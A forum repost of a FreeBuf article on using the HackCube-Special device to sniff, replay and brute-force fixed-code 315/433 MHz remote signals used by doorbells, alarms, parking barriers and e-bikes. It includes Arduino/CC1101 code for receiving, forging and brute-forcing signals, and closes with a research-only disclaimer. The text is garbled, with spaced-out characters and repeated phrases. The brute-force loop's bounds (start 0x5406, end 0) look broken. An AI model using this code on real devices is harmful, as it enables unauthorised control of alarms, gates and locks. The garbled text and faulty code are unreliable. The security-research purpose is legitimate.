搜索

[13542] 2018-12-17_使用HackCube-Special分析固定码信号

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2018-12-17_使用HackCube-Special分析固定码信号 使 用 H a c k C u b e - S p e c i a l 分 析 固 定 码 信 号 m o b i e r   F r e e B u f   2 0 1 8 - 1 2 - 1 7 前 言 前 言 H a c k C u b e - S p e c i a l   在 我 们 做 无 线 安 全 研 究 的 工 作 中 ， 常 常 在 户 外 环 境 中 对 一 些 设 备 进 行 安 全 检 测 ， 需 要 抱 着 电 在 我 们 做 无 线 安 全 研 究 的 工 作 中 ， 常 常 在 户 外 环 境 中 对 一 些 设 备 进 行 安 全 检 测 ， 需 要 抱 着 电 脑 ， 连 接 无 线 设 备 ， 蹲 着 或 者 坐 在 地 上 ， 总 是 吸 引 不 少 人 的 眼 球 ， 十 分 尴 尬 。 于 是 我 们 希 望 打 造 一 款 小 巧 的 设 脑 ， 连 接 无 线 设 备 ， 蹲 着 或 者 坐 在 地 上 ， 总 是 吸 引 不 少 人 的 眼 球 ， 十 分 尴 尬 。 于 是 我 们 希 望 打 造 一 款 小 巧 的 设 备 ， 只 需 要 把 它 装 进 口 袋 ， 通 过 手 机 或 者 平 板 电 脑 ， 就 能 特 别 方 便 的 对 这 些 设 备 进 行 安 全 审 计 。 备 ， 只 需 要 把 它 装 进 口 袋 ， 通 过 手 机 或 者 平 板 电 脑 ， 就 能 特 别 方 便 的 对 这 些 设 备 进 行 安 全 审 计 。 这 就 是 我 们 做   H a c k C u b e - S p e c i a l   的 初 衷 。 H a c k C u b e - S p e c i a l   是 一 款 低 成 本 ， 便 携 式 ， 可 工 作 在 多 个 无 线 射 频 频 段 的 无 线 电 安 全 审 计 平 台 。 我 们 会 给   H a c k C u b e - S p e c i a l   提 供 丰 富 的 案 例 ， 方 便 初 学 者 能 够 更 好 的 了 解 无 线 电 安 全 领 域 。 使 用 使 用 H a c k C u b e - S p e c i a l 研 究 固 定 码 遥 控 的 安 全 风 险 研 究 固 定 码 遥 控 的 安 全 风 险 目 标 设 备 目 标 设 备 我 们 先 来 看 看 有 哪 些 设 备 在 使 用 固 定 码 遥 控 信 号 吧 。 通 常 在 生 活 中 比 较 常 见 的 有 那 些 呢 ， 像 平 时 停 车 场 用 的 抬 杠 啊 ，
或 者 是 家 庭 常 见 的 无 线 门 铃 用 的 就 是 这 种 芯 片 ， 还 有 说 烟 雾 报 警 器 或 者 门 磁 报 警 器 ， 然 后 在 我 写 文 章 时 候 一 位 不 肯 透 漏 姓 名 的 雪 碧   0 x r o o t   同 学 告 诉 我 ， 某 个 女 性 用 的 无 线 情 趣 用 品 用 的 也 是 这 种 方 案 的 ， 然 后 还 有 我 们 电 瓶 车 啊 ， 投 影 屏 遥 控 用 的 可 能 就 是 这 些 芯 片 ， 我 们 来 看 看 这 中 间 存 在 什 么 安 全 风 险 吧 。 频 点 信 息 频 点 信 息 这 些 设 备 通 常 工 作 在   3 1 5 M H z ， 4 3 3 M H z 。 极 个 别 会 工 作 在   8 6 8 M H z ， 9 1 5 M H z   这 几 个 频 点 上 ， 基 本 上 都 采 用   A S K   调 制 方 式 ， 可 以 通 过 晶 振 ， F C C   I D   来 确 定 设 备 的 工 作 频 点 信 息 。 固 定 码 遥 控 信 号 的 构 成 固 定 码 遥 控 信 号 的 构 成 上 面 两 张 图 ， 是 我 们 采 集 的 两 款 常 见 的 无 线 遥 控 模 块 发 出 的 信 号 。 信 号 分 别 是 同 步 引 导 码 ， 地 址 位 和 数 据 位 ， 最 后 一 个 就 是 停 止 码 ， 停 止 码 没 有 特 别 的 用 处 只 是 为 了 结 束 程 序 用 的 。 这 里 有 两 段 信 号 ， 后 面 会 讲 下 这 两 种 信 号 的 区 别 ， 这 两 种 相 比 于 其 他 的 更 为 常 见 ， 先 来 看 下 这 个 同 步 码 ， 这 个 同 步 码 处 于 信 号 的 最 前 端 ， 用 于 告 诉 接 收 端 有 信 号 过 来 准 备 接 收 用 的 ， 接 收 同 步 引 导 码 程 序 才 开 始 解 码 ， 没 有 则 继 续 等 待 ， 但 在 后 面 的 写 爆 破 程 序 中 发 现 ， 其 实 可 以 吧 这 段 同 步 码 给 忽 略 掉 并 不 会 对 控 制 有 什 么 影 响 ， 并 且 还 能 给 爆 破 省 下 不 少 时 间 。 同 步 码 后 有 一 大 串 的 空 白 时 间 ， 这 个 时 间 的 作 用 是 为 了 让 发 射 端 和 接 收 端 同 步 时 钟 用 的 。
信 号 脉 冲 信 号 脉 冲 信 号 脉 冲 的 宽 度 跟 电 压 ， 震 荡 电 阻 是 有 关 系 的 。 我 们 可 以 算 出 信 号 的 震 荡 周 期 （ a = 两 倍 的 时 钟 震 荡 周 期 ） f = 2 1 0 0 0 1 6 / R o s c ( k Ω )   k H z   其 中   R o s c   为 振 荡 电 阻 。 我 们 来 看 下 这 两 种 信 号 的 区 别 ， 第 一 种 信 号 吧   B i t 1   相 当 于   1 2 A   宽 度 的 高 电 平 脉 冲 加   4 A   宽 度 低 电 平 的 脉 冲 重 复 一 次 ， 而 B I t 0 正 好 相 反 是   4 a   高 在 是   1 2 a   的 低 重 复 一 次 。 然 后 说 下   B i t F ， B i t F   只 会 出 现 在 地 址 位 里 面 ， 代 表 该 地 址 位 引 脚 悬 空 ， 后 面 会 提 到 ， 无 效 码 则 不 可 能 出 现 在   2 2 6 2   这 种 协 议 中 ， 如 果 出 现 了 只 能 表 示 这 个 信 号 是   2 2 4 0   的 。 现 在 来 说 下 第 二 种 信 号 格 式 ， 第 二 种 与 第 一 种 不 同 ， 非 常 明 显 能 看 出 来 第 一 种 是 把 一 段 信 号 重 复 了 两 次 来 表 示 B I T 1 和   B I T 0 ， 并 且 有 三 种 表 示 方 式 。 第 二 种 呢 就 是   1 2 A   宽 度 的 高 电 平 脉 冲 信 号 加 上   4 A   的 低 电 平 宽 度 脉 冲 信 号 就 是 B I T 1 ， 相 反 的 就 是   B I T 0 ， 并 且 不 像 第 一 种 那 样 数 据 有   3   种 表 示 方 式 。 地 址 码 地 址 码 先 来 看 下 遥 控 模 块 的 硬 件 到 底 长 什 么 样 ， 第 一 种 的 银 色 是 晶 体 振 荡 器 一 般 会 把 频 率 直 接 写 在 上 面 ， 然 后 下 面 那 个 就 是 P T 2 2 6 2   编 码   I C 。 看 完 正 面 来 看 下 遥 控 的 背 面 ， 下 面 的 就 是 地 址 码 的 编 码 部 分 了 。 H   字 母 就   H I G H   的 缩 写 代 表 高 电 平 信 号 ， 一 般 是 电 源 ， 然 后   L   呢 就 是   L O W   的 缩 写 代 表 低 电 平 的 信 号 ， 一 般 是   G N D 。 然 后 就 是   8   位 的 地 址 码 ， 然 后 可 以 自 定 义 引 脚 ， 引 脚 接 高 电 平 当 信 号 发 射 时 该 位 就 出 现 上 面 提 到 的   B i t 1 ， 然 后 该 引 脚 接 地 就 是 低 电 平 信 号 就 出 现 B i t 0 。 如 果 像 图 上 那 样 什 么 都 不 接 的 话 ， 就 会 出 现   B i t F ， 因 为 只 有 这 三 种 表 示 的 状 态 所 以 才 不 会 出 现 无 效 码 ！ 然 而 第 二 种 呢 ， 地 址 码 是 出 厂 时 预 烧 录 的 ， 用 户 是 没 有 办 法 自 设 的 ， 这 点 需 要 注 意 。 然 后 来 看 下 这 两 种 最 大 的 区 别 ，
第 一 种 地 址 码 位   8 B i t ， 但 是 有   3   种 表 示 状 态 。 而 第 二 种 地 址 码 有   2 0 B i t   只 有   2   种 表 示 状 态 ， 算 下   3   的   8   次 方 等 于 6 5 6 1 ， 就 是 生 产 出 这 么 多 个 设 备 后 就 会 出 现 重 复 的 遥 控 地 址 码 了 。 然 后 是 第 二 种 ， 2   的   2 0   次 方 等 于   1 0 4 8 5 7 6 ， 要 生 产 出 一 百 多 万 个 后 才 会 出 现 重 复 的 遥 控 地 址 码 。 还 有 一 个 很 重 要 的 点 就 是 第 一 种 通 过 爆 破 地 址 码 来 控 制 设 备 只 要 十 几 分 钟 的 时 间 甚 至 更 少 ， 第 二 种 通 过 爆 破 地 址 码 的 方 式 来 操 控 设 备 则 需 要 几 十 个 小 时 的 时 间 。 但 这 两 种 都 属 于 固 定 码 ， 只 要 监 听 到 一 次 信 号 就 能 够 复 制 信 号 了 。 然 后 我 们 就 可 以 用 软 件 无 线 电 对 这 个 遥 控 进 行 解 码 了 ， 这 个 就 是 解 码 后 的 数 据 了 ， 但 是 这 种 解 码 的 方 式 特 别 费 时 间 。 嗅 探 数 据 嗅 探 数 据 如 何 去 接 收 这 类 遥 控 射 频 信 号 呢 ？ 我 们 可 以 使 用 这 个   C C 1 1 0 1   模 块 然 后 让 其 工 作 在 异 步 模 式 下 去 接 收 这 个 遥 控 的 信 号 。
将   C C 1 1 0 1   射 频 模 块 进 行 配 置 成 异 步 模 式 。 上 面 这 个 是 采 集 到 的 原 始 的 射 频 数 据 ， 而 下 面 这 个 就 是   C C 1 1 0 1   的   G D O 2   引 脚 的 波 形 信 号 ， 也 就 是 解 调   A S K   后 的 数 据 ， 然 后 可 以 通 过 这 个 去 解 码 数 据 内 容 。 然 后 我 们 来 说 说 如 何 去 解 码 这 个 数 据 ， 一 般 解 码 这 个 数 据 分 为 两 种 方 式 一 种 是 使 用 中 断 去 将 数 据 接 收 下 ， 另 外 一 种 是 通 过 轮 询 引 脚 方 式 待 会 详 细 讲 讲 这 两 种 的 区 别 吧 ， 还 有 其 他 方 式 会 用 定 时 器 去 捕 获 ， 但 是 这 种 方 式 用 的 比 较 少 。 刚 刚 说 到 上 面 这 一 栏 就 是 经 过   c c 1 1 0 1   射 频 芯 片   A S K   后 的 数 据 解 调 后 的 输 出 ， 而 信 号 数 据 下 面 一 栏 就 是 采 用 C H A N G E   类 型 中 断 触 发 的 脉 冲 信 号 ， 每 次 上 面 的 数 据 信 号 发 生 脉 冲 变 化 时 候   ( 高 电 平 - > 低 电 平 / 低 电 平 - > 高 电 平 )   就 会 进 入 到 我 们 的 中 断 函 数 中 。 我 们 来 看 看 这 个   a t t a c h I n t e r r u p t   中 断 函 数 ， 首 先 是 中 断 引 脚 ， 这 里 我 们 用 的 是   a t m e g a 3 2 u 4   单 片 机 ， 板 子 只 有   2 ， 3   两 个 中 断 引 脚 ， 对 应 就 是   0 ， 1   两 个 中 断 号 ， 把   C C 1 1 0 1   的   G D O 2   接 到 单 片 机 的   2   号 引 脚 。 设 置   0   中 断 号 进 行 触 发 ， 而 I S R   这 是 触 发 中 断 后 进 入 的 函 数 。 我 这 里 是 使 用 了   R C S w i t c h   的 库 函 数 。 不 必 要 重 复 造 轮 子 。 # i n c l u d e   " c c 1 1 0 1 。 h " C C 1 1 0 1   c c 1 1 0 1 ; / / 参 考 d a t a s h e e t 写 的 一 个 设 置 工 作 射 频 频 率 的 函 数 ， 可 以 使 用 S m a r t R F   S t u d i o 计 算 得 出 v o i d   s e t f r e q x ( u n s i g n e d   l o n g   i n t   f r e q )   {       u n s i g n e d   l o n g   f r e q n u m   =   f r e q   /   3 9 6 。 7 3 4 5 6 9 ;     b y t e   f r e q x [ 3 ] ;     f r e q x [ 0 ]   =   f r e q n u m ;     f r e q x [ 1 ]   =   f r e q n u m   > >   8 ;     f r e q x [ 2 ]   =   f r e q n u m   > >   1 6 ;     c c 1 1 0 1 。 w r i t e R e g ( C C 1 1 0 1 _ F R E Q 2 ，   f r e q x [ 2 ] ) ;     c c 1 1 0 1 。 w r i t e R e g ( C C 1 1 0 1 _ F R E Q 1 ，   f r e q x [ 1 ] ) ;     c c 1 1 0 1 。 w r i t e R e g ( C C 1 1 0 1 _ F R E Q 0 ，   f r e q x [ 0 ] ) ; } / / C C 1 1 0 1   射 频 芯 片 初 始 化 函 数 v o i d   c c 1 1 0 1 _ c o n f i g ( )   {     c c 1 1 0 1 。 S S _ P I N   =   1 0 ;   / / 定 义 C C 1 1 0 1   片 选 引 脚     c c 1 1 0 1 。 i n i t ( ) ;   / / 初 始 化 函 数 ， 配 置 我 们 在 库 中 定 义 好 的 射 频 参 数     s e t f r e q x ( 3 1 5 0 0 0 0 0 0 ) ;   / / 设 置 中 心 频 率     c c 1 1 0 1 。 d i s a b l e A d d r e s s C h e c k ( ) ;     c c 1 1 0 1 。 w r i t e R e g ( C C 1 1 0 1 _ I O C F G 2 ，   0 x 0 d ) ; / / 配 置 成 异 步 模 式     c c 1 1 0 1 。 w r i t e R e g ( C C 1 1 0 1 _ M D M C F G 4 ，   0 x F 7 ) ; / / 配 置 接 收 速 率     c c 1 1 0 1 。 w r i t e R e g ( C C 1 1 0 1 _ M D M C F G 3 ，   0 x 9 3 ) ; / / 配 置 接 收 速 率     / / c c 1 1 0 1 。 w r i t e R e g ( C C 1 1 0 1 _ A G C C T R L 2 ，   0 x B 0 ) ; / / 配 置 门 限 值     c c 1 1 0 1 。 c m d S t r o b e ( C C 1 1 0 1 _ S R X ) ;   / / 进 入 R X 接 收 数 据 状 态 } a t t a c h I n t e r r u p t ( i n t e r r u p t ，   I S R ，   m o d e ) ; i n t e r r u p t   中 断 号 I S R   中 断 调 用 的 函 数 m o d e   中 断 触 发 类 型 L O W   低 电 平 触 发 C H A N G E   电 平 变 化 触 发 R I S I N G   上 升 沿 触 发 （ 由 L O W 变 为 H I G H ） F A L L I N G   下 降 沿 触 发 （ 由 H I G H 变 为 L O W ） D e c i m a l :   9 6 8 5 7   ( 2 4 B i t )   B i n a r y :   0 0 0 0 0 0 0 1 0 1 1 1 1 0 1 0 0 1 0 1 1 0 0 1   T r i - S t a t e :   n o t   a p p l i c a b l e   P u l s e L e n g t h :   2 7 2   m i c r o s e c o n d s   P r o t o c o l :   1   R a w   d a t a :   8 4 2 4 ， 2 9 6 ， 7 9 2 ， 2 8 8 ， 8 0 0 ， 2 9 6 ， 7 9 2 ， 2 9 6 ， 7 9 2 ， 2 6 4 ， 8 0 8 ， 2 9 6 ， 7 9 2 ， 2 8 0 ， 7 8 4 ， 8 4 8 ， 2 6 4 ， 2 9 6 ， 7 9 2 ， 8 3 2 ， 2 4 8 ， 8 4 0 ， 2 7 2 ， 8 1 6 ， 2 6 4 ， 8 4 0 ， 9 6 ， 7 0 4 ， 1 5 2 ， 9 1 2 ， 1 2 0 ， 2 9 6 ， 7 9 2 ， 2 8 8 ， 7 8 4 ， 8 4 8 ， 2 6 4 ， 2 9 6 ， 7 6 8 ， 8 4 0 ， 2 8 0 ， 8 2 4 ， 2 6 4 ， 2 7 2 ， 8 0 0 ， 3 2 0 ， 7 6 8 ， 8 4 8 ， 2 9 6 ，
我 们 只 要 在   I S R   函 数 中 根 据 上 次 中 断 触 发 的 时 间 进 行 计 时 ， 就 能 得 到 每 个 脉 冲 持 续 的 时 间 。 我 们 只 需 要 根 据 脉 冲 时 间 就 能 够 解 出 信 号 数 据 ， 0 0 0 0 0 0 0 1 0 1 1 1 1 0 1 0 0 1 0 1 1 0 0 1   就 是 我 们 脉 冲 所 传 输 的 二 进 制 数 据 ， 转 成 十 进 制 就 是   9 6 8 5 7 ( H E X : 1 7 A 5 9 ) ， 其 中 的 功 能 码 为   9 。 所 谓 固 定 码 就 是 这 个 地 址 码 是 固 定 的 ， 每 一 次 发 送 的 数 据 除 了 功 能 码 都 是 一 样 的 ， 只 要 我 们 嗅 探 到 遥 控 模 块 的 地 址 码 就 能 够 这 对 这 个 设 备 进 行 攻 击 测 试 了 。 然 后 在   H a c k C u b e - S p e c i a l   后 台 列 表 中 就 能 发 现 信 号 。 伪 造 信 号 伪 造 信 号 刚 刚 提 到 了 我 们 使 用   C C 1 1 0 1 ， 使 其 工 作 在 异 步 模 式 中 ， G D O 2   是 数 据 输 出 引 脚 ， 如 果 我 们 要 发 射 信 号 的 话 ， 我 们 需 要 用 到   c c 1 1 0 1   的   G D O 0   引 脚 作 为 发 射 信 号 的 数 据 输 入 引 脚 。 v o i d   F i x e d _ C o n f i g ( )   {     c c 1 1 0 1 。 S S _ P I N   =   1 0 ;   / / 定 义 C C 1 1 0 1   片 选 引 脚     c c 1 1 0 1 。 i n i t ( ) ;   / / 初 始 化 函 数 ， 配 置 我 们 在 库 中 定 义 好 的 射 频 参 数     s e t f r e q x ( 3 1 5 0 0 0 0 0 0 ) ;   / / 设 置 中 心 频 率     c c 1 1 0 1 。 c m d S t r o b e ( C C 1 1 0 1 _ S T X ) ; / / 设 置 工 作 模 式 为 " S T X " 发 射 模 式     c c 1 1 0 1 。 w r i t e R e g ( C C 1 1 0 1 _ I O C F G 2 ，   0 x 0 d ) ; / / 设 置 为 异 步 模 式 }
和 刚 刚 接 收 使 用 的 配 置 类 似 ， 只 需 要 将   C C 1 1 0 1   设 置 为   S T X   状 态 即 可 。 我 们 以 伪 造 第 二 种 固 定 码 协 议 举 例 。 F i x e d _ T r a n s m i t p i n   接 的 是   C C 1 1 0 1   的   G D O 0   引 脚 ， 根 据 输 入 的   d a t a ， f u n c   在 G D O 0   产 生 出 对 应 的 电 平 信 号 ， 然 后 再 由   c c 1 1 0 1   进 行   A S K   将 数 据 发 射 出 来 就 可 以 了 。 我 们   H a c k C u b e - S p e c i a l   也 封 装 好 了 函 数 ， 只 需 要 填 入 所 需 要 发 射 的 数 据 就 可 以 了 。 爆 破 固 定 码 爆 破 固 定 码 之 前 我 们 有 提 到 一 共 有 两 种 固 定 码 的 协 议 一 种 是   3 ^ 8 ， 另 外 一 种   2 ^ 2 0 ， 前 一 种 可 以 通 过 焊 盘 进 行 改 变 的 ， 而 另 外 一 种 则 是 出 厂 就 固 定 了 无 法 进 行 更 改 ， 但 是 我 们 在 没 有 嗅 探 到 信 号 的 情 况 下 怎 么 对 这 种 设 备 进 行 攻 击 呢 ?   我 们 只 要 爆 破 这 个 地 址 码 就 可 以 了 。 第 一 种   3 ^ 8   有   6 5 6 1   种 可 能 性 ， 8 4 2 4 u s ( 同 步 码 ) + 3 0 5 0 0 u s ( 数 据 位 ) + 1 2 0 0 0 ( 间 隔 时 间 ) * 4 ( 重 复 次 数 ) ， 一 共 需 要   1 3 3 6 . 4 4 9 4 5 6   秒 ， 大 概 需 要   2 2   分 钟 左 右 ， 但 是 在 测 试 中 发 现 同 步 码 可 以 省 去 ， 并 且 可 以 把 重 复 次 数 减 少 到   1   次 ， 那 么 只 需 要   4 . 6 4   分 钟 就 可 以 将   3 ^ 8   固 定 码 跑 完 。 / /   F i x e d _ T r a n s m i t p i n   =   C C 1 1 0 1 _ G D O 0   _ _ _ _ _ _ _ _ _ _ _ _ _ _ |                             | _ _ _ _ _ | X X X X X X X X X X X X X |                     9 1 5 u s             3 0 5 u s v o i d   F i x e d _ B i t 1 ( )   {     d i g i t a l W r i t e ( F i x e d _ T r a n s m i t p i n ，   H I G H ) ;     d e l a y M i c r o s e c o n d s ( 9 1 5 ) ;     d i g i t a l W r i t e ( F i x e d _ T r a n s m i t p i n ，   L O W ) ;     d e l a y M i c r o s e c o n d s ( 3 0 5 ) ;     d i g i t a l W r i t e ( F i x e d _ T r a n s m i t p i n ，   L O W ) ; }   _ _ _ _ _ |           | _ _ _ _ _ _ _ _ _ _ _ _ _ _ | X X X X X X X X X X X X X |   3 0 5 u s             9 1 5 u s v o i d   F i x e d _ B i t 0 ( )   {     d i g i t a l W r i t e ( F i x e d _ T r a n s m i t p i n ，   H I G H ) ;     d e l a y M i c r o s e c o n d s ( 3 0 5 ) ;     d i g i t a l W r i t e ( F i x e d _ T r a n s m i t p i n ，   L O W ) ;     d e l a y M i c r o s e c o n d s ( 9 1 5 ) ;     d i g i t a l W r i t e ( F i x e d _ T r a n s m i t p i n ，   L O W ) ; } v o i d   C l a s s 2 _ T r a n s m i t ( u n s i g n e d   l o n g   d a t a ，   i n t   F u n c )   {     / /   d a t a   =   地 址 码     / /   f n c   =   功 能 码     f o r   ( i n t   a   =   2 0 ;   a   >   0 ;   a - - )   {   / /   产 生 地 址 码 波 形   2 0   b i t         i f   ( d a t a   > >   a   -   1   &   1   = =   1 )   {             F i x e d _ B i t 1 ( ) ;         }   e l s e   {             F i x e d _ B i t 0 ( ) ;         }     }     f o r   ( i n t   l   =   4 ;   l   >   0 ;   l - - )   {   / /   产 生 功 能 码 波 形   4   b i t         i f   ( F u n c   > >   l   -   1   &   1   = =   1 )   {             F i x e d _ B i t 1 ( ) ;         }   e l s e   {             F i x e d _ B i t 0 ( ) ;         }     }     F i x e d _ B i t 0 ( ) ;   / / 产 生 停 止 码 }
上 面 这 段 就 是 爆 破   3 ^ 8   地 址 码 的 代 码 。 总 结 总 结 在   F r e e b u f   这 个 平 台 上 ， 已 经 有 十 篇 左 右 对 固 定 码 进 行 分 析 的 文 章 ， 使 用 到 各 种 软 件 无 线 电 软 件 ， G n u r a d i o ， I n s p e c t r u m ， a u d a c i t y ， r t l _ 4 3 3 。 各 种 硬 件 ， 电 视 棒 ， H a c k R F ， U S R P ， 逻 辑 分 析 仪 ， 超 再 生 模 块 ， E Z 4 3 0 ， 树 莓 派 ， A r d u i n o   单 片 机 。 这 些 方 法 都 比 较 繁 琐 。 但 现 在 我 们 可 以 使 用 一 个   H a c k C u b e - S p e c i a l   就 能 够 进 行 这 样 的 研 究 分 析 。 从 以 上 分 析 可 以 看 出 ， 固 定 码 遥 控 的 安 全 风 险 是 比 较 高 的 ， 很 容 易 攻 击 成 功 。 原 因 是 这 类 无 线 遥 控 设 备 本 身 的 价 值 就 不 高 ， 若 在 安 全 方 面 增 加 太 多 成 本 ， 例 如 使 用 滚 动 码 或 者 双 向 交 互 式 认 证 ， 产 品 价 格 是 难 以 承 受 的 。 在 安 全 与 成 本 之 间 ， 找 到 恰 当 的 平 衡 点 ， 是 一 个 永 恒 的 问 题 。 以 上 方 法   ( 代 码 )   带 有 一 定 攻 击 性 ， 仅 供 安 全 研 究 之 用 ， 读 者 请 勿 做 其 他 用 途 。 我 们 的 硬 件 产 品 预 计 会 在   1 2   月 份 月 底 左 右 上 线 ,   在 我 们 社 区 上 提 交 质 量 不 错 的 文 章 是 有 机 会 拿 到 第 一 时 间 产 品 的 哟 ， 有 任 何 问 题 的 欢 迎 在 社 区 上 与 我 们 交 流 。 演 示 视 频 演 示 视 频 参 考 链 接 参 考 链 接 v o i d   C l a s s 1 _ A t t a c k ( )   {     F i x e d _ C o n f i g _ C l a s s 1 ( ) ;     c c 1 1 0 1 。 P r i n t C o n f i g ( ) ;     p i n M o d e ( R F _ G D O 0 ，   O U T P U T ) ;     u n s i g n e d   i n t   E n d N u m   =   0 x 0 ;     u n s i g n e d   i n t   S e r i a l N u m   =   0 x 5 4 0 6 ;     / / C l a s s   1   8 B i t 的 地 址 码 类 型   爆 破 函 数     / / S e r i a l N u m   开 始 爆 破 地 址 码     / / E n d N u m   结 束 地 址 码     w h i l e   ( S e r i a l N u m   <   E n d N u m )   {   / / 循 环 爆 破 地 址 码 范 围             f o r   ( i n t   i   =   0 ;   i   <   8   ;   + + i )   {   / / 循 环 8 个 B i t                   i f   ( ( 3   < <   ( i   *   2 ) & S e r i a l N u m )   > >   ( i   *   2 )   = =   2   ) / / 判 断 是 否 有 之 前 提 到 的 无 效 码                     S e r i a l N u m   =   S e r i a l N u m   +   ( 1   < <   ( i   *   2 ) ) ; / / 出 现 无 效 码 就 序 列 号 + 1   跳 过             }             f o r   ( i n t   i   =   0 ;   i   <   2 ;   i + + )   {   / / 数 据 重 复 发 送 两 次                 C l a s s 1 _ T r a n s m i t ( S e r i a l N u m ) ; / / 调 用 发 射 函 数                 d e l a y ( 1 2 ) ; / / 发 射 延 迟             }             S e r i a l N u m   =   S e r i a l N u m   +   1 ; / / 序 列 递 增     } }
h t t p s : / / f u t u r e - s e c . c o m / w i r e l e s s - s i g n a l - r e p l a y - a t t a c k - a n d - r e v e r s e - w i t h - L i m e S D R . h t m l & g t ; h t t p s : / / g i t h u b . c o m / C o m T h i n g s / P a n d w a R F / w i k i & g t ; h t t p s : / / g i t h u b . c o m / m e r b a n a n / r t l _ 4 3 3 & g t ; h t t p : / / i m a g e . 3 0 0 1 . n e t / u p l o a d s / p d f / 无 线 遥 控 信 号 分 析 入 门   v 3 . p d f & g t ; h t t p s : / / w w w . c n b l o g s . c o m / k 1 t w o 2 / p / 4 7 6 2 8 1 0 . h t m l & g t ; h t t p s : / / w w w . c n b l o g s . c o m / k 1 t w o 2 / p / 5 2 6 8 5 3 1 . h t m l & g t ; h t t p : / / w w w . f r e e b u f . c o m / a r t i c l e s / w i r e l e s s / 1 1 1 8 0 1 . h t m l & g t ; h t t p : / / w w w . f r e e b u f . c o m / a r t i c l e s / w i r e l e s s / 1 0 5 3 9 8 . h t m l & g t ; h t t p : / / w w w . f r e e b u f . c o m / a r t i c l e s / w i r e l e s s / 1 2 6 3 3 0 . h t m l & g t ; h t t p : / / w w w . f r e e b u f . c o m / a r t i c l e s / w i r e l e s s / 1 1 5 2 8 9 . h t m l & g t ; h t t p : / / w w w . f r e e b u f . c o m / a r t i c l e s / w i r e l e s s / 1 0 5 3 9 8 . h t m l & g t ; h t t p : / / w w w . f r e e b u f . c o m / a r t i c l e s / w i r e l e s s / 1 6 5 5 6 6 . h t m l & g t ; h t t p : / / w w w . f r e e b u f . c o m / a r t i c l e s / w i r e l e s s / 1 4 6 7 8 1 . h t m l & g t ; h t t p : / / w w w . f r e e b u f . c o m / f e v e n t s / 1 6 4 6 9 9 . h t m l & g t ; * 本 文 作 者 ： 本 文 作 者 ： m o b i e r ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理